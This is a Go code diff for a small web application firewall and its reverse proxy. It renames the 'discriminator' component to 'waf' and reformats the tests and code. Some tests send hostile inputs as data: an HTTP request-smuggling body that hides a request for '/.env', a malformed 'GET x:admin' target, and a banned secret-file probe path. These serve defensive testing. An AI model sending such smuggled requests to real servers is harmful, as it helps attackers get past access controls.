-		env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
+		env := map[string]string{
+			rproxyListenAddr:  ":" + port,
+			rproxyUpstreamURL: app.URL,
+		}
 		for i := 0; i < len(more); i += 2 {
 			env[more[i]] = more[i+1]
 		}
@@ -107,8 +110,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 	wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
 
 	// SWW_COMMAND cannot be given as a file.
-	wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "discriminator\n")),
-		0, "")
+	wantHealthCheck(
+		t,
+		settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
+		0,
+		"",
+	)
 
 	// Another setting does not fail it, even an invalid one, and neither does
 	// SWRP_WAF_BACKEND being unset.
@@ -121,7 +128,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 
 	// Listening on port 0 takes any free port, so nothing listens on port 0
 	// itself.
-	wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
+	wantHealthCheck(
+		t,
+		settings(rproxyListenAddr, ":0"),
+		1,
+		"unhealthy: ask rproxy: ",
+	)
 	wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
 		"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
 
@@ -137,7 +149,7 @@ func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
 
 	wantHealthCheck(t, map[string]string{commandSetting: "healthcheck"}, 1,
 		"unhealthy: invalid setting: SWW_COMMAND: "+
-			"\"healthcheck\" is not rproxy or discriminator\n")
+			"\"healthcheck\" is not rproxy or waf\n")
 }
 
 func TestHealthCheckRefusesAnArgument(t *testing.T) {
@@ -161,16 +173,26 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
 // wantHealthCheck runs the health check with the settings in env, and
 // checks its exit status and the start of what it writes to stderr,
 // which is nothing when message is empty.
-func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
+func wantHealthCheck(
+	t *testing.T,
+	env map[string]string,
+	status int,
+	message string,
+) {
 	t.Helper()
 
 	var stderr bytes.Buffer
 
-	got := sww.HealthCheck(t.Context(), nil, func(name string) (string, bool) {
-		value, ok := env[name]
+	got := sww.HealthCheck(
+		t.Context(),
+		nil,
+		func(name string) (string, bool) {
+			value, ok := env[name]
 
-		return value, ok
-	}, &stderr)
+			return value, ok
+		},
+		&stderr,
+	)
 
 	wrote := stderr.String()
 	if got != status || !strings.HasPrefix(wrote, message) ||

internal/sww/rproxy.go

@@ -21,7 +21,11 @@ import (
 // more severe: rproxy has no setting for either.
 func RunRProxy(ctx context.Context, params Params) int {
 	hostname, _ := os.Hostname() // "" when the host has no name to give
-	processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
+	processLog := requestlog.NewProcessLogger(
+		params.Stdout,
+		hostname,
+		slog.LevelInfo,
+	)
 
 	cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
 	if err != nil {
@@ -38,7 +42,11 @@ func RunRProxy(ctx context.Context, params Params) int {
 
 	listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
 	if err != nil {
-		processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error())
+		processLog.Error(
+			"cannot listen on SWRP_LISTEN_ADDR",
+			"error",
+			err.Error(),
+		)
 
 		return 1
 	}

internal/sww/rproxy_test.go

@@ -19,18 +19,18 @@ import (
 	"testing"
 	"time"
 
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/sww"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 const (
-	// wafBackend is the setting that names discriminator to rproxy.
+	// wafBackend is the setting that names waf to rproxy.
 	wafBackend = "SWRP_WAF_BACKEND"
 	// rproxyListenAddr is the setting that says where rproxy listens.
 	rproxyListenAddr = "SWRP_LISTEN_ADDR"
 	// rproxyUpstreamURL is the setting that says where the app is.
 	rproxyUpstreamURL = "SWRP_UPSTREAM_URL"
-	// rproxyTimeout is the setting that says how long rproxy waits for discriminator.
+	// rproxyTimeout is the setting that says how long rproxy waits for waf.
 	rproxyTimeout = "SWRP_TIMEOUT_MS"
 	// bannedProbe is a path the default rule file bans a client for.
 	bannedProbe = "/.env"
@@ -52,7 +52,7 @@ func runRProxy(ctx context.Context, env map[string]string, out *output) int {
 	})
 }
 
-// startRProxy runs rproxy with discriminator at backend and the app at appURL, and
+// startRProxy runs rproxy with waf at backend and the app at appURL, and
 // returns its URL and what it writes. It believes X-Forwarded-For from the
 // tests. It stops as the test ends, and that it stopped in order is checked.
 func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
@@ -71,13 +71,19 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
 		}, out)
 	}()
 
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
+
 	t.Cleanup(func() {
 		stop()
 
 		select {
 		case status := <-exited:
 			if status != 0 {
-				t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
+				t.Errorf(
+					"rproxy's exit status %d, want 0; output:\n%s",
+					status,
+					out.text(),
+				)
 			}
 		case <-time.After(waitLimit):
 			t.Error("rproxy still running after being told to stop")
@@ -86,15 +92,16 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
 		out.line(t, "msg", "stopped")
 	})
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
-
 	return "http://" + addr, out
 }
 
-// startDiscriminator runs discriminator with the settings in env, and returns
+// startWAF runs waf with the settings in env, and returns
 // its address and URL, what it writes, and what stops it, which checks that it
 // stopped in order.
-func startDiscriminator(t *testing.T, env map[string]string) (string, *output, func()) {
+func startWAF(
+	t *testing.T,
+	env map[string]string,
+) (string, *output, func()) {
 	t.Helper()
 
 	ctx, stop := context.WithCancel(t.Context())
@@ -105,7 +112,7 @@ func startDiscriminator(t *testing.T, env map[string]string) (string, *output, f
 		exited <- run(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 
 	return addr, out, func() {
 		stop()
@@ -113,17 +120,21 @@ func startDiscriminator(t *testing.T, env map[string]string) (string, *output, f
 		select {
 		case status := <-exited:
 			if status != 0 {
-				t.Fatalf("discriminator's exit status %d, want 0; output:\n%s", status, out.text())
+				t.Fatalf(
+					"waf's exit status %d, want 0; output:\n%s",
+					status,
+					out.text(),
+				)
 			}
 		case <-time.After(waitLimit):
-			t.Fatal("discriminator still running after being told to stop")
+			t.Fatal("waf still running after being told to stop")
 		}
 	}
 }
 
-// discriminatorSettings are discriminator's settings with the default rule
+// wafSettings are waf's settings with the default rule
 // file, to listen at any free port.
-func discriminatorSettings(t *testing.T) map[string]string {
+func wafSettings(t *testing.T) map[string]string {
 	t.Helper()
 
 	return map[string]string{
@@ -136,7 +147,7 @@ func discriminatorSettings(t *testing.T) map[string]string {
 func TestABanThroughOneSiteRefusesTheClientOnTheOther(t *testing.T) {
 	t.Parallel()
 
-	addr, discriminatorOut, stop := startDiscriminator(t, discriminatorSettings(t))
+	addr, wafOut, stop := startWAF(t, wafSettings(t))
 	defer stop()
 
 	backend := "http://" + addr
@@ -151,32 +162,32 @@ func TestABanThroughOneSiteRefusesTheClientOnTheOther(t *testing.T) {
 	wantStatus(t, second+"/", placed, http.StatusForbidden)
 	wantStatus(t, second+"/", otherClient, http.StatusOK)
 
-	// One request's three lines carry one id, rproxy's with discriminator's answer.
+	// One request's three lines carry one id, rproxy's with waf's answer.
 	line := firstOut.line(t, "path", bannedProbe)
-	if line["disposition"] != discriminator.DispositionDeny ||
+	if line["disposition"] != waf.DispositionDeny ||
 		line["client_ip"] != placed {
 		t.Errorf("rproxy's line is %v", line)
 	}
 
 	id, _ := line["request_id"].(string)
-	decision := discriminatorLine(t, discriminatorOut, id, "decision")
-	report := discriminatorLine(t, discriminatorOut, id, "report")
+	decision := wafLine(t, wafOut, id, "decision")
+	report := wafLine(t, wafOut, id, "report")
 
 	if decision["host"] != line["host"] || decision["client_ip"] != placed ||
 		report["status"] != float64(http.StatusForbidden) {
-		t.Errorf("discriminator's lines are %v and %v", decision, report)
+		t.Errorf("waf's lines are %v and %v", decision, report)
 	}
 }
 
-// discriminatorLine waits for discriminator's line with request id and
-// discriminator_line kind.
-func discriminatorLine(t *testing.T, out *output, id, kind string) map[string]any {
+// wafLine waits for waf's line with request id and
+// waf_line kind.
+func wafLine(t *testing.T, out *output, id, kind string) map[string]any {
 	t.Helper()
 
 	deadline := time.Now().Add(waitLimit)
 	for time.Now().Before(deadline) {
 		line := out.findLine(t, func(fields map[string]any) bool {
-			return fields["request_id"] == id && fields["discriminator_line"] == kind
+			return fields["request_id"] == id && fields["waf_line"] == kind
 		})
 		if line != nil {
 			return line
@@ -190,14 +201,14 @@ func discriminatorLine(t *testing.T, out *output, id, kind string) map[string]an
 	return nil
 }
 
-func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T) {
+func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
 	t.Parallel()
 
-	env := discriminatorSettings(t)
-	addr, _, stop := startDiscriminator(t, env)
+	env := wafSettings(t)
+	addr, _, stop := startWAF(t, env)
 
-	// rproxy asks discriminator through an address the test holds throughout,
-	// so no other test can take it while discriminator is stopped.
+	// rproxy asks waf through an address the test holds throughout,
+	// so no other test can take it while waf is stopped.
 	backend, forwardTo := startForwarder(t)
 	forwardTo(addr)
 
@@ -228,22 +239,22 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
 	wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
 	wantStatus(t, site+"/", placed, http.StatusForbidden)
 
-	// rproxy's connections are closed at once from here, before discriminator
+	// rproxy's connections are closed at once from here, before waf
 	// stops and frees its port.
 	forwardTo("")
 	stop()
 
-	// With discriminator down, the site answers, and rproxy says the default did it.
+	// With waf down, the site answers, and rproxy says the default did it.
 	wantStatus(t, site+"/after-stop", placed, http.StatusOK)
 
 	line := out.line(t, "path", "/after-stop")
-	if line["disposition"] != discriminator.DispositionAllow ||
+	if line["disposition"] != waf.DispositionAllow ||
 		line["default_disposition"] != true {
 		t.Errorf("rproxy's line is %v", line)
 	}
 
 	// Started again with its state files, it applies the ban again.
-	addr, _, stop = startDiscriminator(t, env)
+	addr, _, stop = startWAF(t, env)
 	forwardTo(addr)
 
 	defer func() {
@@ -341,7 +352,12 @@ func pipe(dst, src net.Conn) {
 // answersNormally reports whether a request to url from the client at from, as
 // X-Forwarded-For names it, gets the app's answer.
 func answersNormally(ctx context.Context, url, from string) bool {
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		url,
+		http.NoBody,
+	)
 	if err != nil {
 		return false
 	}
@@ -359,7 +375,8 @@ func answersNormally(ctx context.Context, url, from string) bool {
 	body, err := io.ReadAll(res.Body)
 	_ = res.Body.Close()
 
-	return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
+	return err == nil && res.StatusCode == http.StatusOK &&
+		string(body) == greeting
 }
 
 // sendRaw sends request, as it is, to rproxy at site, and returns the status of
@@ -397,10 +414,10 @@ func sendRaw(t *testing.T, site, request string) int {
 	return res.StatusCode
 }
 
-func TestAChunkedBodyStaysABodyAtDiscriminator(t *testing.T) {
+func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
 	t.Parallel()
 
-	addr, discriminatorOut, stop := startDiscriminator(t, discriminatorSettings(t))
+	addr, wafOut, stop := startWAF(t, wafSettings(t))
 	defer stop()
 
 	site, _ := startRProxy(t, "http://"+addr, startApp(t))
@@ -409,12 +426,19 @@ func TestAChunkedBodyStaysABodyAtDiscriminator(t *testing.T) {
 	const smuggledID = "smuggled-request"
 
 	smuggled := "GET " + bannedProbe + " HTTP/1.1\r\nHost: site.example\r\n" +
-		discriminator.ClientHeader + ": " + otherClient + "\r\n" +
+		waf.ClientHeader + ": " + otherClient + "\r\n" +
 		"X-Request-ID: " + smuggledID + "\r\n\r\n"
 
-	status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
-		"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
-		strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
+	status := sendRaw(
+		t,
+		site,
+		"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
+			"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
+			strconv.FormatInt(
+				int64(len(smuggled)),
+				16,
+			)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
+	)
 	if status != http.StatusOK {
 		t.Errorf("status %d, want the app's 200", status)
 	}
@@ -425,26 +449,30 @@ func TestAChunkedBodyStaysABodyAtDiscriminator(t *testing.T) {
 		time.Sleep(pollInterval)
 	}
 
-	line := discriminatorOut.findLine(t, func(fields map[string]any) bool {
+	line := wafOut.findLine(t, func(fields map[string]any) bool {
 		return fields["request_id"] == smuggledID
 	})
 	if line != nil {
-		t.Errorf("discriminator read the body as a request: %v", line)
+		t.Errorf("waf read the body as a request: %v", line)
 	}
 }
 
-func TestATargetThatCannotGoToDiscriminatorIsRefusedForABannedClient(t *testing.T) {
+func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
 	t.Parallel()
 
-	addr, _, stop := startDiscriminator(t, discriminatorSettings(t))
+	addr, _, stop := startWAF(t, wafSettings(t))
 	defer stop()
 
 	site, out := startRProxy(t, "http://"+addr, startApp(t))
 
 	wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
 
-	status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
-		"X-Forwarded-For: "+placed+"\r\n\r\n")
+	status := sendRaw(
+		t,
+		site,
+		"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
+			"X-Forwarded-For: "+placed+"\r\n\r\n",
+	)
 	if status != http.StatusBadRequest {
 		t.Errorf("status %d, want 400", status)
 	}
@@ -460,7 +488,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
 
 	const zoned = "2001:db8::1%eth0"
 
-	addr, _, stop := startDiscriminator(t, discriminatorSettings(t))
+	addr, _, stop := startWAF(t, wafSettings(t))
 	defer stop()
 
 	site, out := startRProxy(t, "http://"+addr, startApp(t))
@@ -470,12 +498,13 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
 	wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
 
 	line := out.line(t, "path", bannedProbe)
-	if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
+	if line["client_ip"] != "2001:db8::1" ||
+		line["default_disposition"] != nil {
 		t.Errorf("rproxy's line is %v", line)
 	}
 }
 
-func TestAStatusDiscriminatorDoesNotTakeIsReportedAs599(t *testing.T) {
+func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
 	t.Parallel()
 
 	const status = 799
@@ -486,7 +515,7 @@ func TestAStatusDiscriminatorDoesNotTakeIsReportedAs599(t *testing.T) {
 		}))
 	t.Cleanup(app.Close)
 
-	addr, discriminatorOut, stop := startDiscriminator(t, discriminatorSettings(t))
+	addr, wafOut, stop := startWAF(t, wafSettings(t))
 	defer stop()
 
 	site, out := startRProxy(t, "http://"+addr, app.URL)
@@ -495,21 +524,25 @@ func TestAStatusDiscriminatorDoesNotTakeIsReportedAs599(t *testing.T) {
 
 	line := out.line(t, "path", "/")
 	if line["status"] != float64(status) {
-		t.Errorf("rproxy's line is %v, want the status the visitor got", line)
+		t.Errorf(
+			"rproxy's line is %v, want the status the visitor got",
+			line,
+		)
 	}
 
 	id, _ := line["request_id"].(string)
 
-	report := discriminatorLine(t, discriminatorOut, id, "report")
+	report := wafLine(t, wafOut, id, "report")
 	if report["status"] != 599.0 {
-		t.Errorf("discriminator's line is %v, want status 599", report)
+		t.Errorf("waf's line is %v, want status 599", report)
 	}
 }
 
 // startRProxyProcess runs `sww rproxy` in a process of its own, with the
-// settings in env, each as NAME=value. It returns where rproxy listens, the
-// process, and what rproxy writes.
-func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output) {
+// settings in env, each as NAME=value. It returns where rproxy listens and a
+// function that sends rproxy SIGTERM and fails the test unless it exits with
+// status 0 within waitLimit.
+func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
 	t.Helper()
 
 	binary, err := os.Executable()
@@ -517,11 +550,9 @@ func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output
 		t.Fatalf("find the test binary: %v", err)
 	}
 
-	ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
-	t.Cleanup(cancel)
-
 	out := &output{}
-	cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
+	//nolint:gosec // this test binary
+	cmd := exec.CommandContext(t.Context(), binary)
 	cmd.Stdout = out
 
 	cmd.Env = append(os.Environ(),
@@ -529,31 +560,41 @@ func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output
 		"SWRP_LISTEN_ADDR="+localhost+":0")
 	cmd.Env = append(cmd.Env, env...)
 
-	err = cmd.Start()
-	if err != nil {
-		t.Fatalf("start: %v", err)
+	exited := startProcess(t, cmd)
+
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
+
+	return addr, func() {
+		err := cmd.Process.Signal(syscall.SIGTERM)
+		if err != nil {
+			t.Fatalf("signal: %v", err)
+		}
+
+		select {
+		case status := <-exited:
+			if status != 0 {
+				t.Errorf(
+					"exit status %d, want 0; output:\n%s",
+					status,
+					out.text(),
+				)
+			}
+		case <-time.After(waitLimit):
+			t.Error("still running after being told to stop")
+		}
 	}
-
-	t.Cleanup(func() {
-		_ = cmd.Process.Kill()
-		_ = cmd.Wait()
-	})
-
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
-
-	return addr, cmd, out
 }
 
-func TestRProxyAsksADiscriminatorThatSpeaksHTTP2OverHTTP1(t *testing.T) {
+func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 	t.Parallel()
 
 	protocols := make(chan string, 10)
 	backend := httptest.NewUnstartedServer(http.HandlerFunc(
 		func(w http.ResponseWriter, r *http.Request) {
-			if r.Header.Get(discriminator.ClientHeader) != "" {
+			if r.Header.Get(waf.ClientHeader) != "" {
 				protocols <- r.Proto
 
-				w.Header().Set(discriminator.DispositionHeader, discriminator.DispositionDeny)
+				w.Header().Set(waf.DispositionHeader, waf.DispositionDeny)
 				w.WriteHeader(http.StatusForbidden)
 			}
 		}))
@@ -563,7 +604,7 @@ func TestRProxyAsksADiscriminatorThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 
 	// rproxy has no setting for the certificates it trusts, so it is told of this
 	// one as Go's client is told of any, in a process of its own.
-	certificates := filepath.Join(t.TempDir(), "discriminator.pem")
+	certificates := filepath.Join(t.TempDir(), "waf.pem")
 
 	err := os.WriteFile(certificates, pem.EncodeToMemory(&pem.Block{
 		Type: "CERTIFICATE", Bytes: backend.Certificate().Raw,
@@ -572,7 +613,7 @@ func TestRProxyAsksADiscriminatorThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 		t.Fatalf("write the certificate: %v", err)
 	}
 
-	addr, _, _ := startRProxyProcess(t,
+	addr, _ := startRProxyProcess(t,
 		wafBackend+"="+backend.URL,
 		"SWRP_UPSTREAM_URL="+startApp(t),
 		"SSL_CERT_FILE="+certificates)
@@ -583,18 +624,26 @@ func TestRProxyAsksADiscriminatorThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 		"Connection":          "Connection: anything\r\n",
 		"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
 	} {
-		status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
+		status := sendRaw(
+			t,
+			addr,
+			"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
+		)
 		if status != http.StatusForbidden {
-			t.Errorf("with %s: status %d, want discriminator's 403", name, status)
+			t.Errorf("with %s: status %d, want waf's 403", name, status)
 		}
 
 		select {
 		case protocol := <-protocols:
 			if protocol != "HTTP/1.1" {
-				t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
+				t.Errorf(
+					"with %s: asked over %s, want HTTP/1.1",
+					name,
+					protocol,
+				)
 			}
 		case <-time.After(waitLimit):
-			t.Errorf("with %s: discriminator was not asked", name)
+			t.Errorf("with %s: waf was not asked", name)
 		}
 	}
 }
@@ -612,7 +661,11 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
 
 	line := out.line(t, "msg", "starting")
 	if line["instance"] != hostname || line["level"] != "INFO" {
-		t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
+		t.Errorf(
+			"rproxy's line is %v, want instance %s at INFO",
+			line,
+			hostname,
+		)
 	}
 }
 
@@ -623,8 +676,8 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 	release := make(chan struct{})
 	backend := httptest.NewServer(http.HandlerFunc(
 		func(w http.ResponseWriter, r *http.Request) {
-			if r.Header.Get(discriminator.ClientHeader) != "" {
-				w.Header().Set(discriminator.DispositionHeader, discriminator.DispositionAllow)
+			if r.Header.Get(waf.ClientHeader) != "" {
+				w.Header().Set(waf.DispositionHeader, waf.DispositionAllow)
 
 				return
 			}
@@ -651,7 +704,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 		exited <- runRProxy(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 
 	wantStatus(t, "http://"+addr+"/", placed, http.StatusOK)
 
@@ -677,7 +730,11 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
+			t.Errorf(
+				"rproxy's exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Error("rproxy still running, the report having been answered")
@@ -731,7 +788,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
 
 	backend := httptest.NewServer(http.HandlerFunc(
 		func(w http.ResponseWriter, _ *http.Request) {
-			w.Header().Set(discriminator.DispositionHeader, discriminator.DispositionAllow)
+			w.Header().Set(waf.DispositionHeader, waf.DispositionAllow)
 		}))
 	t.Cleanup(backend.Close)
 
@@ -750,8 +807,12 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
 		exited <- runRProxy(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
-	conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
+	conn := sendAndKeepOpen(
+		t,
+		addr,
+		"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
+	)
 
 	select {
 	case <-asked:
@@ -775,7 +836,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
+			t.Errorf(
+				"rproxy's exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Error("rproxy still running after the cut-off")
@@ -794,7 +859,7 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 		{"no backend", wafBackend, nil},
 		{
 			"another invalid", rproxyTimeout,
-			map[string]string{wafBackend: "http://discriminator:8080", rproxyTimeout: "soon"},
+			map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
@@ -810,7 +875,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 			message, _ := line["error"].(string)
 
 			if !strings.HasPrefix(message, tc.setting+": ") {
-				t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
+				t.Errorf(
+					"start refused with %v, want it to name %s",
+					line,
+					tc.setting,
+				)
 			}
 		})
 	}
@@ -819,7 +888,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
 	t.Parallel()
 
-	taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	taken, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -831,7 +904,7 @@ func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
 	out := &output{}
 
 	status := runRProxy(t.Context(), map[string]string{
-		wafBackend:       "http://discriminator:8080",
+		wafBackend:       "http://waf:8080",
 		rproxyListenAddr: taken.Addr().String(),
 	}, out)
 	if status != 1 {
@@ -845,10 +918,10 @@ func TestMainRunsRProxy(t *testing.T) {
 	t.Parallel()
 
 	// Nothing listens there; the health check does not ask.
-	addr, cmd, out := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
+	addr, stop := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
 
 	req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
-		"http://"+addr+discriminator.HealthPath, http.NoBody)
+		"http://"+addr+waf.HealthPath, http.NoBody)
 	if err != nil {
 		t.Fatalf("new request: %v", err)
 	}
@@ -868,13 +941,5 @@ func TestMainRunsRProxy(t *testing.T) {
 		t.Errorf("health check answered %q (%v)", body, err)
 	}
 
-	err = cmd.Process.Signal(syscall.SIGTERM)
-	if err != nil {
-		t.Fatalf("signal: %v", err)
-	}
-
-	err = cmd.Wait()
-	if err != nil {
-		t.Errorf("exit: %v; output:\n%s", err, out.text())
-	}
+	stop()
 }

internal/sww/sww.go

@@ -1,9 +1,9 @@
 // Package sww runs the sww process, as the command it is given.
-// `sww discriminator` reads the settings, the rule files, the lookup database
-// and the state files, answers rproxy's questions until it is told to stop, and
-// then stops in an orderly way, writing the state files. `sww rproxy`
-// reads rproxy's settings alone, and runs the reverse proxy in front of one app
-// that asks discriminator about each request. `sww healthcheck` is the
+// `sww waf` reads the settings, the rule files, the lookup database
+// and the state and cache files, answers rproxy's questions until it is told to
+// stop, and then stops in an orderly way, writing the state and cache files.
+// `sww rproxy` reads rproxy's settings alone, and runs the reverse proxy in
+// front of one app that asks waf about each request. `sww healthcheck` is the
 // container's health check.
 package sww
 
@@ -23,13 +23,13 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/remotelog"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 	"sneak.berlin/go/smallwebwaf/internal/state"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // shutdownTimeout is how long requests in progress may take to finish
@@ -37,7 +37,7 @@ import (
 // runit and docker wait a little longer before they kill the process.
 const shutdownTimeout = 5 * time.Second
 
-// remoteLogStopTimeout is how long, as discriminator stops, the log lines still
+// remoteLogStopTimeout is how long, as waf stops, the log lines still
 // waiting are sent to SWW_LOG_REMOTE_URL before they are given up. stdout has
 // carried them.
 const remoteLogStopTimeout = 2 * time.Second
@@ -51,11 +51,11 @@ const usage = `usage: sww <command>
 
 commands:
   rproxy          the reverse proxy in front of one app
-  discriminator   decides for rproxy, and keeps bans, counters and history
+  waf             decides for rproxy, and keeps bans, counters and history
   healthcheck     the container's health check
 `
 
-// Params are what RunDiscriminator and RunRProxy need from the process.
+// Params are what RunWAF and RunRProxy need from the process.
 type Params struct {
 	// Version is the version of the binary, set when it is built.
 	Version string
@@ -66,7 +66,7 @@ type Params struct {
 }
 
 // Main runs the command os.Args names, and returns the process's exit status.
-// `sww rproxy` and `sww discriminator` run until SIGTERM or SIGINT.
+// `sww rproxy` and `sww waf` run until SIGTERM or SIGINT.
 // With no command, or one it does not know, it prints the commands and returns
 // usageStatus.
 func Main(version string) int {
@@ -79,13 +79,17 @@ func Main(version string) int {
 		syscall.SIGTERM, os.Interrupt)
 	defer stop()
 
-	params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout}
+	params := Params{
+		Version:   version,
+		LookupEnv: os.LookupEnv,
+		Stdout:    os.Stdout,
+	}
 
 	switch args[0] {
 	case "rproxy":
 		return RunRProxy(ctx, params)
-	case "discriminator":
-		return RunDiscriminator(ctx, params)
+	case "waf":
+		return RunWAF(ctx, params)
 	case "healthcheck":
 		return HealthCheck(ctx, args[1:], os.LookupEnv, os.Stderr)
 	default:
@@ -100,10 +104,10 @@ func printUsage(w io.Writer) int {
 	return usageStatus
 }
 
-// RunDiscriminator is `sww discriminator`: it reads the settings, the rule files,
-// the lookup database and the state files, then serves requests until ctx is
-// done. It returns the process's exit status, 1 when discriminator cannot start.
-func RunDiscriminator(ctx context.Context, params Params) int {
+// RunWAF is `sww waf`: it reads the settings, the rule files,
